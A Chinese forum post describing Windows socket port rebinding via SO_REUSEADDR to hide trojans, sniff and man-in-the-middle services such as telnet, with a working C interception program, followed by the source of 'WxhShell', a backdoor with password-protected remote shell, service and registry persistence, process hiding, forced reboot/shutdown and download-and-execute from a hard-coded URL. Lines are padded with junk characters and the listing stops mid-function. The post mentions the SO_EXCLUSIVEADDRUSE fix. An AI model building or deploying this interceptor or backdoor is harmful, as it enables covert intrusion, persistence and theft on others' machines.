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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: avls[Bq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KM (U-<<R  
Jg|3Wjq5  
  saddr.sin_family = AF_INET; }}~ ^!  
K)GC&%_$O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Cg 85  
Q>}I@eyJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~I/7{B|yX  
B dm<<<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  ]\P  
,%d n)gt7  
  这意味着什么?意味着可以进行如下的攻击: ;BoeE3* 6  
V&KH{j/P  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xPqpNs-,  
Z<y +D-/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?MeP<5\A  
@N.W#<IG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zE.4e&m%Z?  
fx.FHhVu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  UeE& 8{=d  
l) VMF44  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]@ETQ8QN  
D]b5*_CT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0*:]eM};P  
1`_Mc ]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f%*-PW^*  
O\OG~`HBN  
  #include )." zBc#  
  #include ika{>hbH  
  #include k` (_~/#  
  #include    c<JJuG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /]]\jj#^  
  int main() 1; L!g*!E  
  { 6?}8z q[  
  WORD wVersionRequested; R|NmkqTK~(  
  DWORD ret; bz H5Lc{%  
  WSADATA wsaData; OAw/  
  BOOL val; Q*$x!q  
  SOCKADDR_IN saddr; /[nt=#+   
  SOCKADDR_IN scaddr; J+?xfg  
  int err; :'GTCo$3  
  SOCKET s; K r]!BI?z  
  SOCKET sc; !0Xes0gK0  
  int caddsize; N!RyncJ  
  HANDLE mt; wrsETB c  
  DWORD tid;   RW>Z~Nj  
  wVersionRequested = MAKEWORD( 2, 2 ); XA9$n_| bw  
  err = WSAStartup( wVersionRequested, &wsaData ); +}4vdi"  
  if ( err != 0 ) { ,O a)  
  printf("error!WSAStartup failed!\n"); oF V9t{~j  
  return -1; [W{`L_"  
  } F$F5N1<  
  saddr.sin_family = AF_INET; ~>}BDsM  
   WKxJ`r\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j- F=5)A  
s3kh (N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0?,EteR  
  saddr.sin_port = htons(23); C<w9f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +$},Hu69j  
  { o/)\Q>IY  
  printf("error!socket failed!\n"); (a7IxW  
  return -1; w #(XiH*  
  } GUat~[lUrj  
  val = TRUE; |Z 3POD"9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vn}Vb+@R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^@X =v`C  
  { N@)4H2_u \  
  printf("error!setsockopt failed!\n"); Hg(\EEe  
  return -1; {2Gp+&  
  } @gX@mT"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wK#UFOp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8n~@Rj5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5W<BEcV\  
zKV {JUpG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =t)eT0  
  { =Z-.4\3  
  ret=GetLastError(); i-E&Y*\^9H  
  printf("error!bind failed!\n"); [U3z*m>e;  
  return -1; qd{|"(9B  
  } y ImriCT  
  listen(s,2);  2 H^9Qd  
  while(1) \UB<'~z6!  
  { f"Iv  
  caddsize = sizeof(scaddr); M;Vx[s,#,  
  //接受连接请求 d\Dxmb]o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6oUT+^z#  
  if(sc!=INVALID_SOCKET) 5QmF0z)wR  
  { 8CEy#%7]}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A ;kAAM  
  if(mt==NULL) kf5921(P  
  { ;e jC:3yO  
  printf("Thread Creat Failed!\n"); yx/:<^"-$  
  break; NmtBn^ t  
  } %8{' XJ!  
  } |Q:`:ODy`5  
  CloseHandle(mt); ]Dx?HBM"DC  
  }  pd X9G  
  closesocket(s); m5d;lrk@&/  
  WSACleanup(); ~=c^ Oo:  
  return 0; 9pjk3a  
  }   R~Xl(O  
  DWORD WINAPI ClientThread(LPVOID lpParam) /Zv}u  
  { 'w9tZO\2  
  SOCKET ss = (SOCKET)lpParam; T 86}^=-5  
  SOCKET sc; G0*$&G0nb  
  unsigned char buf[4096]; ,sLV6DM  
  SOCKADDR_IN saddr; VJr?` eY4  
  long num; A0[flIl  
  DWORD val; yobi$mnsy!  
  DWORD ret; 2EE#60  
  //如果是隐藏端口应用的话,可以在此处加一些判断 = )(;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L YH9P-5H  
  saddr.sin_family = AF_INET; >J8?n,*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EKoCm)}d  
  saddr.sin_port = htons(23); NU 6P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N+}yw4lb  
  { 3rR(>}:[V  
  printf("error!socket failed!\n"); 2,_BO6 !d  
  return -1; BwBv 'p+n  
  } t<: XY  
  val = 100; VJ1 `&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u8[X\f  
  { 9Xm"kVqd/  
  ret = GetLastError(); |`O7> (h  
  return -1; F` ?pZ  
  } V@Po}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N$=<6eQm  
  {  d;CD~s  
  ret = GetLastError(); Z)?"pBv'  
  return -1; @8_K^3-~e  
  } pCg0xbc`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zSq+#O1#  
  { 2'@0|k,yC  
  printf("error!socket connect failed!\n"); 14^t{  
  closesocket(sc); Y+G4:  
  closesocket(ss); ul% q6=f)  
  return -1; cc^V~-ph  
  } OK2wxf  
  while(1) \{~x<<qFd  
  { v1)jZ.:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 TAGqRYgi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DsFrA]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =n#xnZ3  
  num = recv(ss,buf,4096,0); =CqLZ$10  
  if(num>0) lv8tS-  
  send(sc,buf,num,0); bo@1c0  
  else if(num==0) "kN5AeRg  
  break; q+m&V#FT%  
  num = recv(sc,buf,4096,0); }S42.f.p  
  if(num>0) 7v\OS-  
  send(ss,buf,num,0); +$<m;@mZ  
  else if(num==0) *?i~AXJm  
  break; n ~ =]/  
  } *np%67=jO  
  closesocket(ss); 12rr:(#%s  
  closesocket(sc); lFRgyEPH  
  return 0 ; w\\    
  } P|64wq{B8  
5$O@+W!?@  
thq(tK7  
========================================================== %_/_klxnO  
5B@&]-'~  
下边附上一个代码,,WXhSHELL B6ys 5eQ  
s=KA(4p  
========================================================== ,Ma$:6`f  
5SK.R;mn  
#include "stdafx.h" -$mzzYH  
U :IQWlC  
#include <stdio.h> jdoI)J@9H  
#include <string.h> < Gu s9^_  
#include <windows.h> $aVcWz %  
#include <winsock2.h> UHxXa*HyI  
#include <winsvc.h> Pu}2%P)p  
#include <urlmon.h> `[`eg<xj  
b9"Q.*c<Z^  
#pragma comment (lib, "Ws2_32.lib") jI y'mGaG  
#pragma comment (lib, "urlmon.lib") Q4Cw{2r  
G2em>W_n  
#define MAX_USER   100 // 最大客户端连接数 "\e9Y<  
#define BUF_SOCK   200 // sock buffer XLOk+Fn  
#define KEY_BUFF   255 // 输入 buffer T T29 LC@  
%3~jg  
#define REBOOT     0   // 重启 _\u'~wWl  
#define SHUTDOWN   1   // 关机 :@n e29,}  
6rR}qV,+{  
#define DEF_PORT   5000 // 监听端口 >pn?~  
[Si`pPvl  
#define REG_LEN     16   // 注册表键长度 %40|7 O  
#define SVC_LEN     80   // NT服务名长度 EpPKo  
kkh#VGh"  
// 从dll定义API * 78TT \q<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `A?/Ww>;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Plt~l3_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /J5wwQ (:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Thz&wH`W  
,.DU)Wi?}  
// wxhshell配置信息 X4 xnr^  
struct WSCFG { 0naegy?,  
  int ws_port;         // 监听端口 l$z-'  
  char ws_passstr[REG_LEN]; // 口令 C !uwD  
  int ws_autoins;       // 安装标记, 1=yes 0=no XFH7jHnL+U  
  char ws_regname[REG_LEN]; // 注册表键名 UXe@c@3  
  char ws_svcname[REG_LEN]; // 服务名 %/~Sq?f-9@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W${0#qq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xi$uK-AHpj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S{&;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^F_c'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7eZ,; x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6J-tcL*4"%  
.`iOWCS  
}; 2}hEBw68  
HjL+Wg  
// default Wxhshell configuration `43E-'g  
struct WSCFG wscfg={DEF_PORT, 9'T nR[>  
    "xuhuanlingzhe", ^|OxlfS  
    1, (i&:=Bfn)  
    "Wxhshell", = q;ACW,z  
    "Wxhshell", ys09W+B7  
            "WxhShell Service", ~ M@8O  
    "Wrsky Windows CmdShell Service", _18) XR  
    "Please Input Your Password: ", ".~,(*  
  1, UG 9uNgzQ/  
  "http://www.wrsky.com/wxhshell.exe", k${25*M!3  
  "Wxhshell.exe" )g+~"&Gcx  
    }; 1@;Dn'  
Un@dWf6'  
// 消息定义模块 A"d=,?yE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $,F1E VJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7'CdDB6&.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E%2]c?N5  
char *msg_ws_ext="\n\rExit."; V+-%$-w>  
char *msg_ws_end="\n\rQuit."; -I '#G D>  
char *msg_ws_boot="\n\rReboot..."; Jro)  
char *msg_ws_poff="\n\rShutdown..."; 8FU8E2zo  
char *msg_ws_down="\n\rSave to "; g \&Z_  
`l'z#\  
char *msg_ws_err="\n\rErr!"; [Vc8j&:L  
char *msg_ws_ok="\n\rOK!"; 1Sx2c  
RMDzPda.  
char ExeFile[MAX_PATH]; !CY: XQm  
int nUser = 0; q\/ph(HF  
HANDLE handles[MAX_USER]; 'H zF/RKh  
int OsIsNt; /Rf:Z.L  
<0T|RhbY   
SERVICE_STATUS       serviceStatus; 6 -N 442  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :)p\a1I[*  
4*P#3 B'@V  
// 函数声明 #8i DM5:EQ  
int Install(void); !%?O`+r  
int Uninstall(void); nD{o8;  
int DownloadFile(char *sURL, SOCKET wsh); :[kfWai#(  
int Boot(int flag); fX2sjfk  
void HideProc(void); #Ipi3  
int GetOsVer(void); F}wy7s2i  
int Wxhshell(SOCKET wsl); Z8%?ej`8  
void TalkWithClient(void *cs); pE,2pT2>  
int CmdShell(SOCKET sock); d)1 d0ES  
int StartFromService(void); SFv'qDA  
int StartWxhshell(LPSTR lpCmdLine); g1Ed:V]_  
-U.>K,M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9sJ=Nldq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TkBHlTa"=  
J;|a)Nw  
// 数据结构和表定义 %68'+qz  
SERVICE_TABLE_ENTRY DispatchTable[] = I() =Ufs5z  
{ L`NY^  
{wscfg.ws_svcname, NTServiceMain}, aS=-9P;v  
{NULL, NULL} < KG q  
}; JuQwZ]3ed  
_wH>h$E  
// 自我安装 VkdGGY  
int Install(void) Vdd HK  
{ d<K2 \:P{}  
  char svExeFile[MAX_PATH]; R-LMV  
  HKEY key; ( RO-~-  
  strcpy(svExeFile,ExeFile); Ql"kJ_F!br  
)0+6^[Tqq  
// 如果是win9x系统,修改注册表设为自启动 0Q?)?8_  
if(!OsIsNt) { FkE)~g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p>_Qns7W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); & 6'Rc#\P  
  RegCloseKey(key); sPX&XqWx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,.9k)\/V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B X\/Am11  
  RegCloseKey(key); ~I6N6T Z  
  return 0; 6~c#G{kc  
    } ,_iq$I;  
  } `OFW^Esc  
} 17$'r^t,S  
else { Co>e<be%S  
M8nfbc^  
// 如果是NT以上系统,安装为系统服务 *:bexDH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P9`R~HO'`  
if (schSCManager!=0) s@Dln Du .  
{ L"bZ~'y  
  SC_HANDLE schService = CreateService >3ax `8  
  ( V6Mt;e)C  
  schSCManager, @`$'sU  
  wscfg.ws_svcname, 6_,JW{#"  
  wscfg.ws_svcdisp, 0civXZgj  
  SERVICE_ALL_ACCESS, Z<^;Ybw{`Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w=pr?jt1:  
  SERVICE_AUTO_START, FFa =/XB"  
  SERVICE_ERROR_NORMAL, TZ *>MySiF  
  svExeFile, }@eIO|  
  NULL, :*f  2Bn  
  NULL, m/z,MT74*J  
  NULL, w 5 yOSz  
  NULL, Nv=78O1  
  NULL &1(- 8z*  
  ); CYRZ2Yrk?"  
  if (schService!=0) U0gZf5;*  
  { #u}%r{T  
  CloseServiceHandle(schService); t0+i ]lr  
  CloseServiceHandle(schSCManager); SQ_Je+X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q$uv \h;  
  strcat(svExeFile,wscfg.ws_svcname); fIl;qGz85  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WQ{[q" O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `78Bv>[A  
  RegCloseKey(key); z/u^  
  return 0; 8N%nG( 0  
    } W1 k]P.  
  } )adV`V%=>  
  CloseServiceHandle(schSCManager); q`,%L1c4  
} [Ur\^wS  
} nl qn:[BU  
x-"8V(  
return 1;  g5 T  
} 0z'GN#mT5  
(`S^6 -^  
// 自我卸载 ia7<AwV  
int Uninstall(void) m8ts!6C  
{ vfc:ok1  
  HKEY key; s3HVX'   
;-6-DEL  
if(!OsIsNt) { |GtvgvO,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V(_1q  
  RegDeleteValue(key,wscfg.ws_regname); B*N1)J\5  
  RegCloseKey(key); (J[Xryub  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lDTHK2f  
  RegDeleteValue(key,wscfg.ws_regname); -QroT`gy  
  RegCloseKey(key); ,Cb3R|L8  
  return 0; 12a`,~  
  } /TyGZ@S>m  
} d{"-iw)t  
} ]I[~0PCSX  
else { HcgvlFb  
TjyL])$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "|h%Uy?XY  
if (schSCManager!=0) - 8p!,+Dk  
{ <%HRs>4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z@yTkH_  
  if (schService!=0) [ n7>g   
  { x2rAB5r6  
  if(DeleteService(schService)!=0) { < cvh1~>(  
  CloseServiceHandle(schService); &)Xc'RQ.C  
  CloseServiceHandle(schSCManager); Lm TFvZ  
  return 0; &^r>Q`u  
  } p&h?p\IF  
  CloseServiceHandle(schService); z Fo11;*D  
  } b, Oh8O;>  
  CloseServiceHandle(schSCManager);  .qgUD  
} Zz0e4C  
} x;17}KV  
q0iJy@?A  
return 1; maXg(Lu  
} fbNzRXw  
!R=@Nr>  
// 从指定url下载文件 unLhI0XW  
int DownloadFile(char *sURL, SOCKET wsh) TIWR[r1!  
{ (k?H T'3)  
  HRESULT hr; G3~`]qf  
char seps[]= "/"; d ~Z\%4  
char *token; b6bs .  
char *file; yOq@w!xz  
char myURL[MAX_PATH]; wT4@X[5$  
char myFILE[MAX_PATH]; $-iEcxsi  
9af.t  
strcpy(myURL,sURL); O`B,mgT(  
  token=strtok(myURL,seps); <h/%jM>9/  
  while(token!=NULL) 7l D-|yx  
  { Nc;O)K!FH  
    file=token; Cf 2@x  
  token=strtok(NULL,seps); i"WYcF |  
  } *'?7OL  
%2?+:R5.  
GetCurrentDirectory(MAX_PATH,myFILE); FJ:^pROpm  
strcat(myFILE, "\\"); w&q[%(G_  
strcat(myFILE, file); !sb r!Qt  
  send(wsh,myFILE,strlen(myFILE),0); UFG_ZoD+  
send(wsh,"...",3,0); JZ:@iI5>+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ao\xse{E  
  if(hr==S_OK) " 8xAe0-4  
return 0; kAki 9a(=!  
else D|N4X`T`  
return 1; G0E5Y;YIN$  
Bqq=2lj  
} an"&'D}U  
*MP.YI:h  
// 系统电源模块 : ?>7Z6  
int Boot(int flag)  c0oHE8@  
{ TSlB.pw%v  
  HANDLE hToken; #Wk=y?sn  
  TOKEN_PRIVILEGES tkp; e-nA>v  
Y%pab/Y  
  if(OsIsNt) { -8Jw_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CM;b_E)9)f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KK){/I=z  
    tkp.PrivilegeCount = 1; Fx9-A8oIR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q&} 0owe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L*6'u17y  
if(flag==REBOOT) { rbZbj#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @5Xo2}o-Q  
  return 0; CU'JvVe3  
} c3$T3Lu1  
else { mj~:MCC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LeKovt%  
  return 0; &*C5Nnlv  
} "Ms;sdjg}&  
  } x:|Y)Dn\  
  else { Xz$4cI#n:  
if(flag==REBOOT) {  {>]\<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p3I"LY  
  return 0; 3JCo!n0   
} ]&cnc8tC  
else { ,T$ts  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qJhsMo2IH  
  return 0; b)LT[>f  
} BVQy@:K/  
} p/.8})c1r  
c{z$^)A/  
return 1; G]^[i6PQs  
} w!.@64-  
yvAO"43  
// win9x进程隐藏模块 [q <'ty  
void HideProc(void) BR,-:?z  
{ }qNc `8h  
j[>cv;h ;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *{g3ia  
  if ( hKernel != NULL ) 3H,E8>Vd  
  { jvzioFCt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #36Q O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g^AQBF  
    FreeLibrary(hKernel); N[%u>!  
  } 8v4}h9*F"7  
S c)^k  
return; _?{7%(C  
} JJ?{V:  
]v+<K63@T  
// 获取操作系统版本 "yWw3(V2>  
int GetOsVer(void) PRKZg]?  
{ o/5-T4  
  OSVERSIONINFO winfo; Cf {F"o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2]>O ZhS  
  GetVersionEx(&winfo); zM'eqo>!c>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NYm"I`5w  
  return 1; !`DRJ)h  
  else I \:WD"  
  return 0; &V"oJ}M/a  
} ll:UIxx  
ZnG.::&:  
// 客户端句柄模块 V Z(/g"9  
int Wxhshell(SOCKET wsl) YOCEEh?  
{ $.G 7Vt  
  SOCKET wsh; 9U8M|W|d  
  struct sockaddr_in client; S,Y|;p<+^  
  DWORD myID; c}(WniR-"  
*@U{[J  
  while(nUser<MAX_USER) hHs/Qtq  
{ 3DU1c?M:  
  int nSize=sizeof(client); Ndmt$(b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f :c'j`  
  if(wsh==INVALID_SOCKET) return 1; @Nu2 :~JO  
Q$jEmmm%V[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dk1& <} I  
if(handles[nUser]==0) L@}PW)#  
  closesocket(wsh); 7)66e  
else 0-2|(9 Kc  
  nUser++; ,:_c-d#  
  } h$cm:uks  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R4?>C-;  
7|rH9Bc{U  
  return 0; =ily=j"hK  
} h ><Sp*z_V  
.sMs_ 5D  
// 关闭 socket s**<=M GK  
void CloseIt(SOCKET wsh) 36d nS>4  
{ j\>LJai"  
closesocket(wsh); .l}Ap7@  
nUser--; H4/wO  
ExitThread(0); @AyteHK  
} \Mf>X\}  
PEMkx"h +  
// 客户端请求句柄 9 {4yC9Oz>  
void TalkWithClient(void *cs) G6SgVaM  
{ )rc!irac]  
<p@Cx  
  SOCKET wsh=(SOCKET)cs; tUn >=>cWP  
  char pwd[SVC_LEN]; Z!p\=M,%  
  char cmd[KEY_BUFF]; mScv7S~/s  
char chr[1]; UaT%tv>}8#  
int i,j; m[DQ;`Y  
tbrU>KCBD  
  while (nUser < MAX_USER) { tgRj8 @  
o)`PS w=  
if(wscfg.ws_passstr) { } ueFy<F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aDlp>p^E>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fs+ tcr/\[  
  //ZeroMemory(pwd,KEY_BUFF); O zAIz+`  
      i=0; 4kOO3[r  
  while(i<SVC_LEN) { )G[byBa  
% rBz A<  
  // 设置超时 1S{Biqi+  
  fd_set FdRead; ofvR0yV  
  struct timeval TimeOut; UwN Vvo  
  FD_ZERO(&FdRead); BN/ 4O?jD9  
  FD_SET(wsh,&FdRead); C]^Ep  
  TimeOut.tv_sec=8; i'~-\F!  
  TimeOut.tv_usec=0; xR7ZqTcw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gnc`CyN:H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vl^(K_`(  
~!S3J2kG{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )^(*B6;z5  
  pwd=chr[0]; Zxk~X}K\P  
  if(chr[0]==0xd || chr[0]==0xa) { ffKgVQux  
  pwd=0; UG| /Px ]  
  break; SZ` 7t=I2  
  } ]a3$hAcj6"  
  i++; AFLtgoXn:  
    } ?K1B^M=8  
dFg>uo  
  // 如果是非法用户,关闭 socket  tV}!_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h~dQ5%  
} )p& g!qA  
{Jr1K,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &L|oqXE0L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q'3{M]Tk  
#2Rz=QI  
while(1) { Im]@#X  
dQ:,pe7A  
  ZeroMemory(cmd,KEY_BUFF); K#"=*p,  
r>mBe;[TX  
      // 自动支持客户端 telnet标准   u6iW1,#  
  j=0; #^FM~5KK  
  while(j<KEY_BUFF) { +qi& ?}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \Ne`9k  
  cmd[j]=chr[0]; VQ=  
  if(chr[0]==0xa || chr[0]==0xd) { ':4cQ4Z  
  cmd[j]=0; ucCf%T\:  
  break; ];bRRBEU  
  } mh+T!v$[n)  
  j++; ew;;e|24  
    } mF~T?L"  
%h. zkocM  
  // 下载文件 U~G7~L &m  
  if(strstr(cmd,"http://")) { g)Z8WH$;H3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D%>Bj>xQD  
  if(DownloadFile(cmd,wsh)) i4D(8;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bpu`'Vx  
  else Iu'9yb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <,vIN,Kl8/  
  } f-U zFlU  
  else { kBUkE-~  
D?Oe";"/  
    switch(cmd[0]) { lg^'/8^f  
  r[9m-#)>  
  // 帮助 X4!93  
  case '?': { EEe$A?a;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DYX{v`>f^  
    break; .ARYCTyG  
  } F`=p/IAJK  
  // 安装 0d2P   
  case 'i': { (3e.q'  
    if(Install()) U1\EwBK8*T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Tr,waV  
    else dJuyJl$*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fe .=Z&  
    break; c!w[)>v  
    } '1u?-2  
  // 卸载 i?L=8+9f  
  case 'r': { ,%!m%+K9a  
    if(Uninstall()) g-3^</_fZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w4 yrAj 2  
    else S2X@t>u-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cXXZ'y>FP  
    break; -"-.Z&#  
    } ,fjY|ip  
  // 显示 wxhshell 所在路径 Qt u;_  
  case 'p': { rrIyZ@_d9  
    char svExeFile[MAX_PATH]; A}fm).Wp@  
    strcpy(svExeFile,"\n\r"); 7cc^n\c?Y  
      strcat(svExeFile,ExeFile); -jQ*r$iRE  
        send(wsh,svExeFile,strlen(svExeFile),0); hqRC:p#9  
    break; 0 kJ8H!~u  
    } 4*_jGw  
  // 重启 Mo/R+\u+Y  
  case 'b': { PRfq_:xy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .Ys e/oEo  
    if(Boot(REBOOT)) &%J{uRp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , ['}9:f9  
    else { XtCIUC{r,  
    closesocket(wsh); .AN1Yt  
    ExitThread(0); Y9BQLu4F  
    } 8W3zrnc  
    break; k(H&Af+  
    } AKk=XAGW  
